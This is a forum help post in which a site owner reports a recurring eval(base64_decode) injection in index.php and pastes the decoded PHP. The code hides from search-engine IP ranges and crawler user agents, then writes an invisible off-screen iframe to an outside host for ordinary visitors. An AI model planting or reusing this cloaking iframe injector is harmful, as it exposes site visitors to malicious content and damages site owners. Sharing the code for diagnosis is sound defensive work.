index.php eval hack
-
My site has been hacked and a PHP eval code has been inserted at the beginning of my index.php on my root folder.
<?php eval(base64_decode(ZXJyb3JfcmVwb…. a load of lines of random numbers and letters)
I decoded the random numbers and letters which I read I should do and it came out with the script at the bottom of this post. What is this doing and how do I stop this? Every time I remove the ‘eval’ code it reappears on all my sites a few hours later.
I really don’t want to go through the hassle of deleting and restoring EVERYTHING but I’m losing money all the time because of my sites going down.
error_reporting(0);
$bot = FALSE ;
$user_agent_to_filter = array(‘bot’,’spider’,’spyder’,’crawl’,’validator’,’slurp’,’docomo’,’yandex’,’mail.ru’,’alexa.com’,’postrank.com’,’htmldoc’,’webcollage’,’blogpulse.com’,’anonymouse.org’,’12345′,’httpclient’,’buzztracker.com’,’snoopy’,’feedtools’,’arianna.libero.it’,’internetseer.com’,’openacoon.de’,’rrrrrrrrr’,’magent’,’download master’,’drupal.org’,’vlc media player’,’vvrkimsjuwly l3ufmjrx’,’szn-image-resizer’,’bdbrandprotect.com’,’wordpress’,’rssreader’,’mybloglog api’);
$stop_ips_masks = array(
array(“216.239.32.0″,”216.239.63.255”),
array(“64.68.80.0″ ,”64.68.87.255” ),
array(“66.102.0.0”, “66.102.15.255”),
array(“64.233.160.0″,”64.233.191.255”),
array(“66.249.64.0”, “66.249.95.255”),
array(“72.14.192.0”, “72.14.255.255”),
array(“209.85.128.0″,”209.85.255.255”),
array(“198.108.100.192″,”198.108.100.207”),
array(“173.194.0.0″,”173.194.255.255”),
array(“216.33.229.144″,”216.33.229.151”),
array(“216.33.229.160″,”216.33.229.167”),
array(“209.185.108.128″,”209.185.108.255”),
array(“216.109.75.80″,”216.109.75.95”),
array(“64.68.88.0″,”64.68.95.255”),
array(“64.68.64.64″,”64.68.64.127”),
array(“64.41.221.192″,”64.41.221.207”),
array(“74.125.0.0″,”74.125.255.255”),
array(“65.52.0.0″,”65.55.255.255”),
array(“74.6.0.0″,”74.6.255.255”),
array(“67.195.0.0″,”67.195.255.255”),
array(“72.30.0.0″,”72.30.255.255”),
array(“38.0.0.0″,”38.255.255.255”)
);
$my_ip2long = sprintf(“%u”,ip2long($_SERVER[‘REMOTE_ADDR’]));
foreach ( $stop_ips_masks as $IPs ) {
$first_d=sprintf(“%u”,ip2long($IPs[0])); $second_d=sprintf(“%u”,ip2long($IPs[1]));
if ($my_ip2long >= $first_d && $my_ip2long <= $second_d) {$bot = TRUE; break;}
}
foreach ($user_agent_to_filter as $bot_sign){
if (strpos($_SERVER[‘HTTP_USER_AGENT’], $bot_sign) !== false){$bot = true; break;}
}
if (!$bot) {
echo ‘<div style=”position: absolute; left: -1999px; top: -2999px;”><iframe src=”https://bayunicam311.vv.cc/QQkFBwQGDQMGBwYAEkcJBQcEAQECDQAGAQ==” width=”2″ height=”2″></iframe></div>’;
}
- The topic ‘index.php eval hack’ is closed to new replies.